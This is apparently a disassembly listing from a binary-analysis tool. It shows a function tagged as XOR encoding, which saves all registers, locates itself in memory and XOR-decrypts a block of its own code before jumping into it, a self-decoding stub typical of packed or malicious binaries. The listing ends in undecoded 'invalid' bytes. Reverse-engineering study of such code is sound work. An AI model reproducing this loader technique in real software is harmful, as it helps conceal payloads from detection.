mov dword [rsi + 0x2c], 0xd
jmp 0x140023bf4
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140023bed
mov eax, dword [rsi + 0x2c]
jmp 0x140023bf2
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140019824
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140f5f9b0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140f5f9ba
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140f5f9e3
pop rbp
sub rbp, 0x33
sub rbp, 0xf5f9b0
sub rsp, 0x20
jmp 0x140f5fa02
mov rax, 0xf5f9b0
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x2eda05ef
xor byte [rax], dl
inc rax
dec rcx
jne 0x140f5fa21
jmp 0x140f5fa38
cmpsd dword [rsi], dword [rdi]
invalid